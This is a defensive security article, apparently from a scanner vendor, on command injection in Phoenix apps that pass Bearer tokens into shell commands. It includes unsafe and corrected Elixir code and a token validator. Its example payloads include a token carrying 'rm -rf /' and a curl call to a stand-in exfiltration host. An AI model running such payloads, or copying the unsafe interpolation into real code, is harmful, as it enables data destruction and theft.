HIGH command injectionphoenixbearer tokens

Command Injection in Phoenix with Bearer Tokens

Command Injection in Phoenix with Bearer Tokens — how this specific combination creates or exposes the vulnerability

Command injection in Phoenix applications often arises when user input is passed to system commands without proper validation or escaping. This risk is amplified when endpoints rely on Bearer tokens for authorization but do not validate or sanitize the token value before it reaches command construction logic. A Bearer token is typically a string; if an attacker can influence how that string is used in a command, they may inject shell metacharacters to execute arbitrary code.

Consider a scenario where a Phoenix endpoint receives an Authorization header containing a Bearer token and uses parts of it to construct a shell command—for example, to call an external script that logs token activity or enforces custom policies. If the token is interpolated directly into the command string without escaping, characters such as semicolons, ampersands, or backticks can break command syntax and enable command injection. This is especially dangerous when the command runs with elevated privileges or when the external script trusts its inputs too broadly.

In practice, an attacker might supply a token like abc123; rm -rf / or abc123 & curl http://evil.com/steal. If the application concatenates this token into a command such as log_token.sh #{token}, the shell will interpret the injected characters and execute unintended operations. Even if the Bearer token is validated for format, length, or scope, failing to treat it as untrusted data allows these injections to bypass logical checks while still appearing authorized.

Another subtle vector involves environment variables or configuration values that include Bearer tokens. If a command reads an environment variable containing a token and that variable is later interpolated into a shell command without sanitization, the injection surface remains open. This is common in deployments where tokens are stored in runtime configuration and then used in monitoring or automation scripts within the Phoenix application’s context.

Because middleBrick scans the unauthenticated attack surface, it can detect endpoints where Bearer tokens appear in inputs that reach command execution paths. Findings will highlight places where user-influenced data, including authorization tokens, flows into OS command construction, enabling security teams to prioritize remediation before attackers exploit these pathways.

Bearer Tokens-Specific Remediation in Phoenix — concrete code fixes

Remediation focuses on ensuring Bearer tokens are never treated as safe shell input and are strictly isolated from command construction. The safest approach is to avoid invoking shell commands that incorporate token values entirely. If external tooling is required, use structured APIs or libraries that do not rely on shell interpolation.

When shell interaction is unavoidable, always treat the Bearer token as opaque data. Do not concatenate it directly into command strings. Instead, pass it as an argument using mechanisms that bypass shell interpretation, or validate it against a strict allowlist before any use. Below is an example of unsafe code and a corrected version.

# Unsafe: token interpolated into command
command = "curl -H 'Authorization: Bearer #{token}' https://api.example.com/audit"
System.cmd("sh", ["-c", command])

# Safe: token passed as a separate argument, not interpolated into shell string
headers = ["Authorization: Bearer #{token}"]
System.cmd("curl", ["--header"] ++ headers ++ ["https://api.example.com/audit"])

In the safe example, the Bearer token is embedded within a list argument passed directly to System.cmd/2, avoiding shell interpretation. The command and its arguments are provided as discrete elements, preventing metacharacters in the token from altering command semantics.

Additionally, enforce strict validation on the token format. For instance, reject tokens containing shell metacharacters if they must be used in any external context. A simple validation helper can be added to your Phoenix pipeline:

defmodule MyApp.TokenValidation do
  @allowed_pattern ~r/^[A-Za-z0-9\-._~+]+$/  # Example: restrict to URL-safe characters

  def validate_token(token) when is_binary(token) do
    if String.match?(token, @allowed_pattern) do
      {:ok, token}
    else
      {:error, :invalid_token_format}
    end
  end
end

Use this validation before any logging, external calls, or storage. Combine it with structured logging that does not embed tokens in command lines, and ensure that any background jobs or external scripts receive the token via secure channels (e.g., environment variables with restricted access) rather than through reconstructed shell commands.

middleBrick can surface these risks in its security checks, highlighting areas where Bearer tokens interact with execution paths and providing prioritized remediation guidance aligned with frameworks such as OWASP API Top 10 and common compliance requirements.

Related CWEs: inputValidation

CWE IDNameSeverity
CWE-20Improper Input Validation HIGH
CWE-22Path Traversal HIGH
CWE-74Injection CRITICAL
CWE-77Command Injection CRITICAL
CWE-78OS Command Injection CRITICAL
CWE-79Cross-site Scripting (XSS) HIGH
CWE-89SQL Injection CRITICAL
CWE-90LDAP Injection HIGH
CWE-91XML Injection HIGH
CWE-94Code Injection CRITICAL

Frequently Asked Questions

Can Bearer tokens themselves contain shell metacharacters and still be valid?
Yes, a Bearer token can include characters that are meaningful to shells, such as semicolons or ampersands, especially if it is a URL-safe string that includes symbols. Treat every token as untrusted input and never rely on format assumptions to prevent injection.
Is it acceptable to log Bearer tokens in command lines for debugging?
No. Logging tokens in command lines exposes them in process listings and logs, creating security and compliance risks. Use structured logging that separates sensitive data from command text, and avoid invoking shell commands with token values.